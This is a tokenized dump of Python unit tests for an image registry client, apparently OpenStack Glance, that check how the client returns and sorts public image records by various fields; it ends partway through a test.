"\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "set", " ", "of", " ", "public", " ", "image", " ", "return", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "2", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "images_", "[_", "0_", "]_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "image", "\\u", "with", "\\u", "null", "\\u", "min", "\\u", "disk", "\\u", "min", "\\u", "ram_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "asd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "min", "\\u", "disk", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "min", "\\u", "ram", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "image_", "[_", "\"", "min", "\\u", "ram", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "image_", "[_", "\"", "min", "\\u", "disk", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "index", "\\u", "sort", "\\u", "name", "\\u", "asc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "registr", "y", " ", "API", " ", "return", "s", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "public", " ", "images", " ", "sorte", "d", " ", "alphabetic", "ally", " ", "by", " ", "name", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "ascen", "ding", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "asd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "xyz", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "sort", "\\u", "key_", "=_", "'", "name", "'_", ",_", "sort", "\\u", "dir_", "=_", "'", "asc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "index", "\\u", "sort", "\\u", "status", "\\u", "desc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "registr", "y", " ", "API", " ", "return", "s", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "public", " ", "images", " ", "sorte", "d", " ", "alphabetic", "ally", " ", "by", " ", "status", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "descend", "ing", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "queue", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "asd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "xyz", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "sort", "\\u", "key_", "=_", "'", "status", "'_", ",_", "sort", "\\u", "dir_", "=_", "'", "desc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "index", "\\u", "sort", "\\u", "disk", "\\u", "format\\u", "asc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "registr", "y", " ", "API", " ", "return", "s", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "public", " ", "images", " ", "sorte", "d", " ", "alphabetic", "ally", " ", "by", " ", "disk", "\\u", "format", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "ascen", "ding", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "asd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vdi", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "xyz", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "sort", "\\u", "key_", "=_", "'", "disk", "\\u", "format", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sort", "\\u", "dir_", "=_", "'", "asc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "index", "\\u", "sort", "\\u", "container", "\\u", "format\\u", "desc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "registr", "y", " ", "API", " ", "return", "s", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "public", " ", "images", " ", "sorte", "d", " ", "alphabetic", "ally", " ", "by", " ", "container", "\\u", "format", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "descend", "ing", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "asd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "bare", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "xyz", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "sort", "\\u", "key_", "=_", "'", "container", "\\u", "format", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sort", "\\u", "dir_", "=_", "'", "desc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "index", "\\u", "sort", "\\u", "size", "\\u", "asc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "registr", "y", " ", "API", " ", "return", "s", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "public", " ", "images", " ", "sorte", "d", " ", "by", " ", "size", " ", "in", " ", "ascen", "ding", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "asd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "100_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "bare", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "xyz", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "sort", "\\u", "key_", "=_", "'", "size", "'_", ",_", "sort", "\\u", "dir_", "=_", "'", "asc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "index", "\\u", "sort", "\\u", "created", "\\u", "at", "\\u", "asc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "tha", "t", " ", "the", " ", "/", "images", " ", "registr", "y", " ", "API", " ", "return", "s", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "public", " ", "images", " ", "sorte", "d", " ", "by", " ", "created", "\\u", "at", " ", "in", " ", "ascen", "ding", " ", "order", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "now_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time1_", "=_", "now_", "+_", "datetime_", "._", "timedelta_", "(_", "seconds_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time2", "_", "=_", "now_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", 